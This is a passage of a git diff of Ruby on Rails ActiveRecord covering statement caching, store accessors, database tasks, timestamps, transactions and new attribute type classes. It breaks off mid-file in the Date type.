@@ -1,26 +1,111 @@
 module ActiveRecord
 
   # Statement cache is used to cache a single statement in order to avoid creating the AST again.
-  # Initializing the cache is done by passing the statement in the initialization block:
+  # Initializing the cache is done by passing the statement in the create block:
   #
-  #   cache = ActiveRecord::StatementCache.new do
-  #     Book.where(name: "my book").limit(100)
+  #   cache = StatementCache.create(Book.connection) do |params|
+  #     Book.where(name: "my book").where("author_id > 3")
   #   end
   #
   # The cached statement is executed by using the +execute+ method:
   #
-  #   cache.execute
+  #   cache.execute([], Book, Book.connection)
   #
   # The relation returned by the block is cached, and for each +execute+ call the cached relation gets duped.
   # Database is queried when +to_a+ is called on the relation.
-  class StatementCache
-    def initialize
-      @relation = yield
-      raise ArgumentError.new("Statement cannot be nil") if @relation.nil?
+  #
+  # If you want to cache the statement without the values you can use the +bind+ method of the
+  # block parameter.
+  #
+  #   cache = StatementCache.create(Book.connection) do |params|
+  #     Book.where(name: params.bind)
+  #   end
+  #
+  # And pass the bind values as the first argument of +execute+ call.
+  #
+  #   cache.execute(["my book"], Book, Book.connection)
+  class StatementCache # :nodoc:
+    class Substitute; end # :nodoc:
+
+    class Query # :nodoc:
+      def initialize(sql)
+        @sql = sql
+      end
+
+      def sql_for(binds, connection)
+        @sql
+      end
+    end
+
+    class PartialQuery < Query # :nodoc:
+      def initialize values
+        @values = values
+        @indexes = values.each_with_index.find_all { |thing,i|
+          Arel::Nodes::BindParam === thing
+        }.map(&:last)
+      end
+
+      def sql_for(binds, connection)
+        val = @values.dup
+        binds = connection.prepare_binds_for_database(binds)
+        @indexes.each { |i| val[i] = connection.quote(binds.shift) }
+        val.join
+      end
+    end
+
+    def self.query(visitor, ast)
+      Query.new visitor.accept(ast, Arel::Collectors::SQLString.new).value
+    end
+
+    def self.partial_query(visitor, ast, collector)
+      collected = visitor.accept(ast, collector).value
+      PartialQuery.new collected
     end
 
-    def execute
-      @relation.dup.to_a
+    class Params # :nodoc:
+      def bind; Substitute.new; end
+    end
+
+    class BindMap # :nodoc:
+      def initialize(bound_attributes)
+        @indexes   = []
+        @bound_attributes = bound_attributes
+
+        bound_attributes.each_with_index do |attr, i|
+          if Substitute === attr.value
+            @indexes << i
+          end
+        end
+      end
+
+      def bind(values)
+        bas = @bound_attributes.dup
+        @indexes.each_with_index { |offset,i| bas[offset] = bas[offset].with_cast_value(values[i]) }
+        bas
+      end
+    end
+
+    attr_reader :bind_map, :query_builder
+
+    def self.create(connection, block = Proc.new)
+      relation      = block.call Params.new
+      bind_map      = BindMap.new relation.bound_attributes
+      query_builder = connection.cacheable_query relation.arel
+      new query_builder, bind_map
+    end
+
+    def initialize(query_builder, bind_map)
+      @query_builder = query_builder
+      @bind_map      = bind_map
+    end
+
+    def execute(params, klass, connection)
+      bind_values = bind_map.bind params
+
+      sql = query_builder.sql_for bind_values, connection
+
+      klass.find_by_sql sql, bind_values
     end
+    alias :call :execute
   end
 end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
index a610f479f2..919bc58ba5 100644
--- a/activerecord/lib/active_record/store.rb
+++ b/activerecord/lib/active_record/store.rb
@@ -15,6 +15,15 @@ module ActiveRecord
   # You can set custom coder to encode/decode your serialized attributes to/from different formats.
   # JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
   #
+  # NOTE: If you are using PostgreSQL specific columns like +hstore+ or +json+ there is no need for
+  # the serialization provided by +store+. Simply use +store_accessor+ instead to generate
+  # the accessor methods. Be aware that these columns use a string keyed hash and do not allow access
+  # using a symbol.
+  #
+  # NOTE: The default validations with the exception of +uniqueness+ will work.
+  # For example, if you want to check for +uniqueness+ with +hstore+ you will
+  # need to use a custom validation to handle it.
+  #
   # Examples:
   #
   #   class User < ActiveRecord::Base
@@ -61,8 +70,9 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :stored_attributes, instance_accessor: false
-      self.stored_attributes = {}
+      class << self
+        attr_accessor :local_stored_attributes
+      end
     end
 
     module ClassMethods
@@ -86,41 +96,84 @@ module ActiveRecord
           end
         end
 
-        self.stored_attributes[store_attribute] ||= []
-        self.stored_attributes[store_attribute] |= keys
+        # assign new store attribute and create new hash to ensure that each class in the hierarchy
+        # has its own hash of stored attributes.
+        self.local_stored_attributes ||= {}
+        self.local_stored_attributes[store_attribute] ||= []
+        self.local_stored_attributes[store_attribute] |= keys
       end
 
-      def _store_accessors_module
+      def _store_accessors_module # :nodoc:
         @_store_accessors_module ||= begin
           mod = Module.new
           include mod
           mod
         end
       end
+
+      def stored_attributes
+        parent = superclass.respond_to?(:stored_attributes) ? superclass.stored_attributes : {}
+        if self.local_stored_attributes
+          parent.merge!(self.local_stored_attributes) { |k, a, b| a | b }
+        end
+        parent
+      end
     end
 
     protected
       def read_store_attribute(store_attribute, key)
-        attribute = initialize_store_attribute(store_attribute)
-        attribute[key]
+        accessor = store_accessor_for(store_attribute)
+        accessor.read(self, store_attribute, key)
       end
 
       def write_store_attribute(store_attribute, key, value)
-        attribute = initialize_store_attribute(store_attribute)
-        if value != attribute[key]
-          send :"#{store_attribute}_will_change!"
-          attribute[key] = value
-        end
+        accessor = store_accessor_for(store_attribute)
+        accessor.write(self, store_attribute, key, value)
       end
 
     private
-      def initialize_store_attribute(store_attribute)
-        attribute = send(store_attribute)
-        unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
-          attribute = IndifferentCoder.as_indifferent_hash(attribute)
-          send :"#{store_attribute}=", attribute
+      def store_accessor_for(store_attribute)
+        type_for_attribute(store_attribute.to_s).accessor
+      end
+
+      class HashAccessor # :nodoc:
+        def self.read(object, attribute, key)
+          prepare(object, attribute)
+          object.public_send(attribute)[key]
+        end
+
+        def self.write(object, attribute, key, value)
+          prepare(object, attribute)
+          if value != read(object, attribute, key)
+            object.public_send :"#{attribute}_will_change!"
+            object.public_send(attribute)[key] = value
+          end
+        end
+
+        def self.prepare(object, attribute)
+          object.public_send :"#{attribute}=", {} unless object.send(attribute)
+        end
+      end
+
+      class StringKeyedHashAccessor < HashAccessor # :nodoc:
+        def self.read(object, attribute, key)
+          super object, attribute, key.to_s
+        end
+
+        def self.write(object, attribute, key, value)
+          super object, attribute, key.to_s, value
+        end
+      end
+
+      class IndifferentHashAccessor < ActiveRecord::Store::HashAccessor # :nodoc:
+        def self.prepare(object, store_attribute)
+          attribute = object.send(store_attribute)
+          unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
+            attribute = IndifferentCoder.as_indifferent_hash(attribute)
+            object.send :"#{store_attribute}=", attribute
+          end
+          attribute
         end
-        attribute
       end
 
     class IndifferentCoder # :nodoc:
@@ -138,7 +191,7 @@ module ActiveRecord
       end
 
       def load(yaml)
-        self.class.as_indifferent_hash @coder.load(yaml)
+        self.class.as_indifferent_hash(@coder.load(yaml || ''))
       end
 
       def self.as_indifferent_hash(obj)
diff --git a/activerecord/lib/active_record/table_metadata.rb b/activerecord/lib/active_record/table_metadata.rb
new file mode 100644
index 0000000000..3dd6321a97
--- /dev/null
+++ b/activerecord/lib/active_record/table_metadata.rb
@@ -0,0 +1,62 @@
+module ActiveRecord
+  class TableMetadata # :nodoc:
+    delegate :foreign_type, :foreign_key, to: :association, prefix: true
+    delegate :association_primary_key, to: :association
+
+    def initialize(klass, arel_table, association = nil)
+      @klass = klass
+      @arel_table = arel_table
+      @association = association
+    end
+
+    def resolve_column_aliases(hash)
+      hash = hash.dup
+      hash.keys.grep(Symbol) do |key|
+        if klass.attribute_alias? key
+          hash[klass.attribute_alias(key)] = hash.delete key
+        end
+      end
+      hash
+    end
+
+    def arel_attribute(column_name)
+      arel_table[column_name]
+    end
+
+    def type(column_name)
+      if klass
+        klass.type_for_attribute(column_name.to_s)
+      else
+        Type::Value.new
+      end
+    end
+
+    def associated_with?(association_name)
+      klass && klass._reflect_on_association(association_name)
+    end
+
+    def associated_table(table_name)
+      return self if table_name == arel_table.name
+
+      association = klass._reflect_on_association(table_name)
+      if association && !association.polymorphic?
+        association_klass = association.klass
+        arel_table = association_klass.arel_table
+      else
+        type_caster = TypeCaster::Connection.new(klass, table_name)
+        association_klass = nil
+        arel_table = Arel::Table.new(table_name, type_caster: type_caster)
+      end
+
+      TableMetadata.new(association_klass, arel_table, association)
+    end
+
+    def polymorphic_association?
+      association && association.polymorphic?
+    end
+
+    protected
+
+    attr_reader :klass, :arel_table, :association
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
index 5ff594fdca..69aceb66b1 100644
--- a/activerecord/lib/active_record/tasks/database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/string/filters'
+
 module ActiveRecord
   module Tasks # :nodoc:
     class DatabaseAlreadyExists < StandardError; end # :nodoc:
@@ -6,7 +8,7 @@ module ActiveRecord
     # <tt>ActiveRecord::Tasks::DatabaseTasks</tt> is a utility class, which encapsulates
     # logic behind common tasks used to manage database and migrations.
     #
-    # The tasks defined here are used in rake tasks provided by Active Record.
+    # The tasks defined here are used with Rake tasks provided by Active Record.
     #
     # In order to use DatabaseTasks, a few config values need to be set. All the needed
     # config values are set by Rails already, so it's necessary to do it only if you
@@ -14,7 +16,6 @@ module ActiveRecord
     # (in such case after configuring the database tasks, you can also use the rake tasks
     # defined in Active Record).
     #
-    #
     # The possible config values are:
     #
     #   * +env+: current environment (like Rails.env).
@@ -23,11 +24,12 @@ module ActiveRecord
     #   * +fixtures_path+: a path to fixtures directory.
     #   * +migrations_paths+: a list of paths to directories with migrations.
     #   * +seed_loader+: an object which will load seeds, it needs to respond to the +load_seed+ method.
+    #   * +root+: a path to the root of the application.
     #
     # Example usage of +DatabaseTasks+ outside Rails could look as such:
     #
     #   include ActiveRecord::Tasks
-    #   DatabaseTasks.database_configuration = YAML.load(File.read('my_database_config.yml'))
+    #   DatabaseTasks.database_configuration = YAML.load_file('my_database_config.yml')
     #   DatabaseTasks.db_dir = 'db'
     #   # other settings...
     #
@@ -35,9 +37,8 @@ module ActiveRecord
     module DatabaseTasks
       extend self
 
-      attr_writer :current_config
-      attr_accessor :database_configuration, :migrations_paths, :seed_loader, :db_dir,
-                    :fixtures_path, :env
+      attr_writer :current_config, :db_dir, :migrations_paths, :fixtures_path, :root, :env, :seed_loader
+      attr_accessor :database_configuration
 
       LOCAL_HOSTS    = ['127.0.0.1', 'localhost']
 
@@ -50,16 +51,40 @@ module ActiveRecord
       register_task(/postgresql/,   ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
       register_task(/sqlite/,       ActiveRecord::Tasks::SQLiteDatabaseTasks)
 
+      def db_dir
+        @db_dir ||= Rails.application.config.paths["db"].first
+      end
+
+      def migrations_paths
+        @migrations_paths ||= Rails.application.paths['db/migrate'].to_a
+      end
+
+      def fixtures_path
+        @fixtures_path ||= if ENV['FIXTURES_PATH']
+                             File.join(root, ENV['FIXTURES_PATH'])
+                           else
+                             File.join(root, 'test', 'fixtures')
+                           end
+      end
+
+      def root
+        @root ||= Rails.root
+      end
+
+      def env
+        @env ||= Rails.env
+      end
+
+      def seed_loader
+        @seed_loader ||= Rails.application
+      end
+
       def current_config(options = {})
         options.reverse_merge! :env => env
         if options.has_key?(:config)
           @current_config = options[:config]
         else
-          @current_config ||= if ENV['DATABASE_URL']
-                                database_url_config
-                              else
-                                ActiveRecord::Base.configurations[options[:env]]
-                              end
+          @current_config ||= ActiveRecord::Base.configurations[options[:env]]
         end
       end
 
@@ -81,16 +106,14 @@ module ActiveRecord
         each_current_configuration(environment) { |configuration|
           create configuration
         }
-        ActiveRecord::Base.establish_connection environment
-      end
-
-      def create_database_url
-        create database_url_config
+        ActiveRecord::Base.establish_connection(environment.to_sym)
       end
 
       def drop(*arguments)
         configuration = arguments.first
         class_for_adapter(configuration['adapter']).new(*arguments).drop
+      rescue ActiveRecord::NoDatabaseError
+        $stderr.puts "Database '#{configuration['database']}' does not exist"
       rescue Exception => error
         $stderr.puts error, *(error.backtrace)
         $stderr.puts "Couldn't drop #{configuration['database']}"
@@ -106,8 +129,16 @@ module ActiveRecord
         }
       end
 
-      def drop_database_url
-        drop database_url_config
+      def migrate
+        verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
+        version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
+        scope   = ENV['SCOPE']
+        verbose_was, Migration.verbose = Migration.verbose, verbose
+        Migrator.migrate(Migrator.migrations_paths, version) do |migration|
+          scope.blank? || scope == migration.scope
+        end
+      ensure
+        Migration.verbose = verbose_was
       end
 
       def charset_current(environment = env)
@@ -132,6 +163,19 @@ module ActiveRecord
         class_for_adapter(configuration['adapter']).new(configuration).purge
       end
 
+      def purge_all
+        each_local_configuration { |configuration|
+          purge configuration
+        }
+      end
+
+      def purge_current(environment = env)
+        each_current_configuration(environment) { |configuration|
+          purge configuration
+        }
+        ActiveRecord::Base.establish_connection(environment.to_sym)
+      end
+
       def structure_dump(*arguments)
         configuration = arguments.first
         filename = arguments.delete_at 1
@@ -144,8 +188,54 @@ module ActiveRecord
         class_for_adapter(configuration['adapter']).new(*arguments).structure_load(filename)
       end
 
+      def load_schema(configuration, format = ActiveRecord::Base.schema_format, file = nil) # :nodoc:
+        file ||= schema_file(format)
+
+        case format
+        when :ruby
+          check_schema_file(file)
+          ActiveRecord::Base.establish_connection(configuration)
+          load(file)
+        when :sql
+          check_schema_file(file)
+          structure_load(configuration, file)
+        else
+          raise ArgumentError, "unknown format #{format.inspect}"
+        end
+      end
+
+      def load_schema_for(*args)
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          This method was renamed to `#load_schema` and will be removed in the future.
+          Use `#load_schema` instead.
+        MSG
+        load_schema(*args)
+      end
+
+      def schema_file(format = ActiveSupport::Base.schema_format)
+        case format
+        when :ruby
+          File.join(db_dir, "schema.rb")
+        when :sql
+          File.join(db_dir, "structure.sql")
+        end
+      end
+
+      def load_schema_current_if_exists(format = ActiveRecord::Base.schema_format, file = nil, environment = env)
+        if File.exist?(file || schema_file(format))
+          load_schema_current(format, file, environment)
+        end
+      end
+
+      def load_schema_current(format = ActiveRecord::Base.schema_format, file = nil, environment = env)
+        each_current_configuration(environment) { |configuration|
+          load_schema configuration, format, file
+        }
+        ActiveRecord::Base.establish_connection(environment.to_sym)
+      end
+
       def check_schema_file(filename)
-        unless File.exists?(filename)
+        unless File.exist?(filename)
           message = %{#{filename} doesn't exist yet. Run `rake db:migrate` to create it, then try again.}
           message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails)
           Kernel.abort message
@@ -164,11 +254,6 @@ module ActiveRecord
 
       private
 
-      def database_url_config
-        @database_url_config ||=
-               ConnectionAdapters::ConnectionSpecification::Resolver.new(ENV["DATABASE_URL"], {}).spec.config.stringify_keys
-      end
-
       def class_for_adapter(adapter)
         key = @tasks.keys.detect { |pattern| adapter[pattern] }
         unless key
@@ -179,7 +264,8 @@ module ActiveRecord
 
       def each_current_configuration(environment)
         environments = [environment]
-        environments << 'test' if environment == 'development'
+        # add test environment only if no RAILS_ENV was specified.
+        environments << 'test' if environment == 'development' && ENV['RAILS_ENV'].nil?
 
         configurations = ActiveRecord::Base.configurations.values_at(*environments)
         configurations.compact.each do |configuration|
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
index 50569d2462..eafbb2c249 100644
--- a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -31,6 +31,7 @@ module ActiveRecord
           end
           establish_connection configuration
         else
+          $stderr.puts error.inspect
           $stderr.puts "Couldn't create database for #{configuration.inspect}, #{creation_options.inspect}"
           $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration['encoding']
         end
@@ -42,7 +43,7 @@ module ActiveRecord
       end
 
       def purge
-        establish_connection :test
+        establish_connection configuration
         connection.recreate_database configuration['database'], creation_options
       end
 
@@ -124,7 +125,7 @@ IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
       end
 
       def root_password
-        $stdout.print "Please provide the root password for your mysql installation\n>"
+        $stdout.print "Please provide the root password for your MySQL installation\n>"
         $stdin.gets.strip
       end
 
@@ -134,8 +135,9 @@ IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
         args << "--password=#{configuration['password']}"  if configuration['password']
         args.concat(['--default-character-set', configuration['encoding']]) if configuration['encoding']
         configuration.slice('host', 'port', 'socket').each do |k, v|
-          args.concat([ "--#{k}", v ]) if v
+          args.concat([ "--#{k}", v.to_s ]) if v
         end
+
         args
       end
     end
diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
index 4413330fab..ce1de4b76e 100644
--- a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
@@ -54,12 +54,12 @@ module ActiveRecord
         command = "pg_dump -i -s -x -O -f #{Shellwords.escape(filename)} #{search_path} #{Shellwords.escape(configuration['database'])}"
         raise 'Error dumping database' unless Kernel.system(command)
 
-        File.open(filename, "a") { |f| f << "SET search_path TO #{ActiveRecord::Base.connection.schema_search_path};\n\n" }
+        File.open(filename, "a") { |f| f << "SET search_path TO #{connection.schema_search_path};\n\n" }
       end
 
       def structure_load(filename)
         set_psql_env
-        Kernel.system("psql -q -f #{filename} #{configuration['database']}")
+        Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}")
       end
 
       private
diff --git a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
index de8b16627e..9ab64d0325 100644
--- a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
@@ -3,7 +3,7 @@ module ActiveRecord
     class SQLiteDatabaseTasks # :nodoc:
       delegate :connection, :establish_connection, to: ActiveRecord::Base
 
-      def initialize(configuration, root = Rails.root)
+      def initialize(configuration, root = ActiveRecord::Tasks::DatabaseTasks.root)
         @configuration, @root = configuration, root
       end
 
@@ -21,7 +21,11 @@ module ActiveRecord
 
         FileUtils.rm(file) if File.exist?(file)
       end
-      alias :purge :drop
+
+      def purge
+        drop
+        create
+      end
 
       def charset
         connection.encoding
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
index 9253150c4f..20e4235788 100644
--- a/activerecord/lib/active_record/timestamp.rb
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -1,4 +1,3 @@
-
 module ActiveRecord
   # = Active Record Timestamp
   #
@@ -37,19 +36,20 @@ module ActiveRecord
     end
 
     def initialize_dup(other) # :nodoc:
-      clear_timestamp_attributes
       super
+      clear_timestamp_attributes
     end
 
   private
 
-    def create_record
+    def _create_record
       if self.record_timestamps
         current_time = current_time_from_proper_timezone
 
         all_timestamp_attributes.each do |column|
-          if respond_to?(column) && respond_to?("#{column}=") && self.send(column).nil?
-            write_attribute(column.to_s, current_time)
+          column = column.to_s
+          if has_attribute?(column) && !attribute_present?(column)
+            write_attribute(column, current_time)
           end
         end
       end
@@ -57,8 +57,8 @@ module ActiveRecord
       super
     end
 
-    def update_record(*args)
-      if should_record_timestamps?
+    def _update_record(*args, touch: true, **options)
+      if touch && should_record_timestamps?
         current_time = current_time_from_proper_timezone
 
         timestamp_attributes_for_update_in_model.each do |column|
@@ -67,11 +67,11 @@ module ActiveRecord
           write_attribute(column, current_time)
         end
       end
-      super
+      super(*args)
     end
 
     def should_record_timestamps?
-      self.record_timestamps && (!partial_writes? || changed? || (attributes.keys & self.class.serialized_attributes.keys).present?)
+      self.record_timestamps && (!partial_writes? || changed?)
     end
 
     def timestamp_attributes_for_create_in_model
@@ -98,10 +98,12 @@ module ActiveRecord
       timestamp_attributes_for_create + timestamp_attributes_for_update
     end
 
-    def max_updated_column_timestamp
-      if (timestamps = timestamp_attributes_for_update.map { |attr| self[attr] }.compact).present?
-        timestamps.map { |ts| ts.to_time }.max
-      end
+    def max_updated_column_timestamp(timestamp_names = timestamp_attributes_for_update)
+      timestamp_names
+        .map { |attr| self[attr] }
+        .compact
+        .map(&:to_time)
+        .max
     end
 
     def current_time_from_proper_timezone
@@ -112,7 +114,7 @@ module ActiveRecord
     def clear_timestamp_attributes
       all_timestamp_attributes_in_model.each do |attribute_name|
         self[attribute_name] = nil
-        changed_attributes.delete(attribute_name)
+        clear_attribute_changes([attribute_name])
       end
     end
   end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index dcbf38a89f..dd405c7796 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -1,17 +1,12 @@
-require 'thread'
-
 module ActiveRecord
   # See ActiveRecord::Transactions::ClassMethods for documentation.
   module Transactions
     extend ActiveSupport::Concern
+    #:nodoc:
     ACTIONS = [:create, :destroy, :update]
 
-    class TransactionError < ActiveRecordError # :nodoc:
-    end
-
     included do
       define_callbacks :commit, :rollback,
-                       terminator: ->(_, result) { result == false },
                        scope: [:kind, :name]
     end
 
@@ -220,8 +215,8 @@ module ActiveRecord
       #   after_commit :do_bar, on: :update
       #   after_commit :do_baz, on: :destroy
       #
-      #   after_commit :do_foo_bar, :on [:create, :update]
-      #   after_commit :do_bar_baz, :on [:update, :destroy]
+      #   after_commit :do_foo_bar, on: [:create, :update]
+      #   after_commit :do_bar_baz, on: [:update, :destroy]
       #
       # Note that transactional fixtures do not play well with this feature. Please
       # use the +test_after_commit+ gem to have these hooks fired in tests.
@@ -238,22 +233,31 @@ module ActiveRecord
         set_callback(:rollback, :after, *args, &block)
       end
 
+      def raise_in_transactional_callbacks
+        ActiveSupport::Deprecation.warn('ActiveRecord::Base.raise_in_transactional_callbacks is deprecated and will be removed without replacement.')
+        true
+      end
+
+      def raise_in_transactional_callbacks=(value)
+        ActiveSupport::Deprecation.warn('ActiveRecord::Base.raise_in_transactional_callbacks= is deprecated, has no effect and will be removed without replacement.')
+        value
+      end
+
       private
 
       def set_options_for_callbacks!(args)
         options = args.last
         if options.is_a?(Hash) && options[:on]
-          assert_valid_transaction_action(options[:on])
-          options[:if] = Array(options[:if])
           fire_on = Array(options[:on])
+          assert_valid_transaction_action(fire_on)
+          options[:if] = Array(options[:if])
           options[:if] << "transaction_include_any_action?(#{fire_on})"
         end
       end
 
       def assert_valid_transaction_action(actions)
-        actions = Array(actions)
         if (actions - ACTIONS).any?
-          raise ArgumentError, ":on conditions for after_commit and after_rollback callbacks have to be one of #{ACTIONS.join(",")}"
+          raise ArgumentError, ":on conditions for after_commit and after_rollback callbacks have to be one of #{ACTIONS}"
         end
       end
     end
@@ -277,6 +281,10 @@ module ActiveRecord
       with_transaction_returning_status { super }
     end
 
+    def touch(*) #:nodoc:
+      with_transaction_returning_status { super }
+    end
+
     # Reset id and @new_record if the transaction rolls back.
     def rollback_active_record_state!
       remember_transaction_record_state
@@ -292,16 +300,16 @@ module ActiveRecord
     #
     # Ensure that it is not called if the object was never persisted (failed create),
     # but call it after the commit of a destroyed object.
-    def committed! #:nodoc:
-      run_callbacks :commit if destroyed? || persisted?
+    def committed!(should_run_callbacks: true) #:nodoc:
+      _run_commit_callbacks if should_run_callbacks && destroyed? || persisted?
     ensure
-      clear_transaction_record_state
+      force_clear_transaction_record_state
     end
 
     # Call the +after_rollback+ callbacks. The +force_restore_state+ argument indicates if the record
     # state should be rolled back to the beginning or just to the last savepoint.
-    def rolledback!(force_restore_state = false) #:nodoc:
-      run_callbacks :rollback
+    def rolledback!(force_restore_state: false, should_run_callbacks: true) #:nodoc:
+      _run_rollback_callbacks if should_run_callbacks
     ensure
       restore_transaction_record_state(force_restore_state)
       clear_transaction_record_state
@@ -310,9 +318,12 @@ module ActiveRecord
     # Add the record to the current transaction so that the +after_rollback+ and +after_commit+ callbacks
     # can be called.
     def add_to_transaction
-      if self.class.connection.add_transaction_record(self)
-        remember_transaction_record_state
+      if has_transactional_callbacks?
+        self.class.connection.add_transaction_record(self)
+      else
+        set_transaction_state(self.class.connection.transaction_state)
       end
+      remember_transaction_record_state
     end
 
     # Executes +method+ within a transaction and captures its return value as a
@@ -328,7 +339,7 @@ module ActiveRecord
         begin
           status = yield
         rescue ActiveRecord::Rollback
-          @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+          clear_transaction_record_state
           status = nil
         end
 
@@ -341,21 +352,24 @@ module ActiveRecord
 
     # Save the new record state and id of a record so it can be restored later if a transaction fails.
     def remember_transaction_record_state #:nodoc:
-      @_start_transaction_state[:id] = id if has_attribute?(self.class.primary_key)
-      unless @_start_transaction_state.include?(:new_record)
-        @_start_transaction_state[:new_record] = @new_record
-      end
-      unless @_start_transaction_state.include?(:destroyed)
-        @_start_transaction_state[:destroyed] = @destroyed
-      end
+      @_start_transaction_state[:id] = id
+      @_start_transaction_state.reverse_merge!(
+        new_record: @new_record,
+        destroyed: @destroyed,
+        frozen?: frozen?,
+      )
       @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) + 1
-      @_start_transaction_state[:frozen?] = @attributes.frozen?
     end
 
     # Clear the new record state and id of a record.
     def clear_transaction_record_state #:nodoc:
       @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
-      @_start_transaction_state.clear if @_start_transaction_state[:level] < 1
+      force_clear_transaction_record_state if @_start_transaction_state[:level] < 1
+    end
+
+    # Force to clear the transaction record state.
+    def force_clear_transaction_record_state #:nodoc:
+      @_start_transaction_state.clear
     end
 
     # Restore the new record state and id of a record that was previously saved by a call to save_record_state.
@@ -364,17 +378,13 @@ module ActiveRecord
         transaction_level = (@_start_transaction_state[:level] || 0) - 1
         if transaction_level < 1 || force
           restore_state = @_start_transaction_state
-          was_frozen = restore_state[:frozen?]
-          @attributes = @attributes.dup if @attributes.frozen?
+          thaw unless restore_state[:frozen?]
           @new_record = restore_state[:new_record]
           @destroyed  = restore_state[:destroyed]
-          if restore_state.has_key?(:id)
-            self.id = restore_state[:id]
-          else
-            @attributes.delete(self.class.primary_key)
-            @attributes_cache.delete(self.class.primary_key)
+          pk = self.class.primary_key
+          if pk && read_attribute(pk) != restore_state[:id]
+            write_attribute(pk, restore_state[:id])
           end
-          @attributes.freeze if was_frozen
         end
       end
     end
diff --git a/activerecord/lib/active_record/type.rb b/activerecord/lib/active_record/type.rb
new file mode 100644
index 0000000000..f18b076d58
--- /dev/null
+++ b/activerecord/lib/active_record/type.rb
@@ -0,0 +1,20 @@
+require 'active_record/type/helpers'
+require 'active_record/type/value'
+
+require 'active_record/type/big_integer'
+require 'active_record/type/binary'
+require 'active_record/type/boolean'
+require 'active_record/type/date'
+require 'active_record/type/date_time'
+require 'active_record/type/decimal'
+require 'active_record/type/decimal_without_scale'
+require 'active_record/type/float'
+require 'active_record/type/integer'
+require 'active_record/type/serialized'
+require 'active_record/type/string'
+require 'active_record/type/text'
+require 'active_record/type/time'
+require 'active_record/type/unsigned_integer'
+
+require 'active_record/type/type_map'
+require 'active_record/type/hash_lookup_type_map'
diff --git a/activerecord/lib/active_record/type/big_integer.rb b/activerecord/lib/active_record/type/big_integer.rb
new file mode 100644
index 0000000000..0c72d8914f
--- /dev/null
+++ b/activerecord/lib/active_record/type/big_integer.rb
@@ -0,0 +1,13 @@
+require 'active_record/type/integer'
+
+module ActiveRecord
+  module Type
+    class BigInteger < Integer # :nodoc:
+      private
+
+      def max_value
+        ::Float::INFINITY
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/binary.rb b/activerecord/lib/active_record/type/binary.rb
new file mode 100644
index 0000000000..005a48ef0d
--- /dev/null
+++ b/activerecord/lib/active_record/type/binary.rb
@@ -0,0 +1,50 @@
+module ActiveRecord
+  module Type
+    class Binary < Value # :nodoc:
+      def type
+        :binary
+      end
+
+      def binary?
+        true
+      end
+
+      def type_cast(value)
+        if value.is_a?(Data)
+          value.to_s
+        else
+          super
+        end
+      end
+
+      def type_cast_for_database(value)
+        return if value.nil?
+        Data.new(super)
+      end
+
+      def changed_in_place?(raw_old_value, value)
+        old_value = type_cast_from_database(raw_old_value)
+        old_value != value
+      end
+
+      class Data # :nodoc:
+        def initialize(value)
+          @value = value.to_s
+        end
+
+        def to_s
+          @value
+        end
+        alias_method :to_str, :to_s
+
+        def hex
+          @value.unpack('H*')[0]
+        end
+
+        def ==(other)
+          other == to_s || super
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/boolean.rb b/activerecord/lib/active_record/type/boolean.rb
new file mode 100644
index 0000000000..f6a75512fd
--- /dev/null
+++ b/activerecord/lib/active_record/type/boolean.rb
@@ -0,0 +1,19 @@
+module ActiveRecord
+  module Type
+    class Boolean < Value # :nodoc:
+      def type
+        :boolean
+      end
+
+      private
+
+      def cast_value(value)
+        if value == ''
+          nil
+        else
+          !ConnectionAdapters::Column::FALSE_VALUES.include?(value)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/date.rb b/activerecord/lib/active_record/type/date.rb
new file mode 100644
index 0000000000..3ceab59ebb
--- /dev/null
+++ b/activerecord/lib/active_record/type/date.rb
@@ -0,0 +1,49 @@
+module ActiveRecord
+  module Type
+    class Date < Value # :nodoc:
+      include Helpers::AcceptsMultiparameterTime.new
+
+      def type
+        :date
+      end
+
+      def type_cast_for_schema(value)
+        "'#{value.to_s(:db)}'"
+      end
+
+      private
+
+      def cast_value(value)
+        if value.is_a?(::String)
+          return if value.empty?
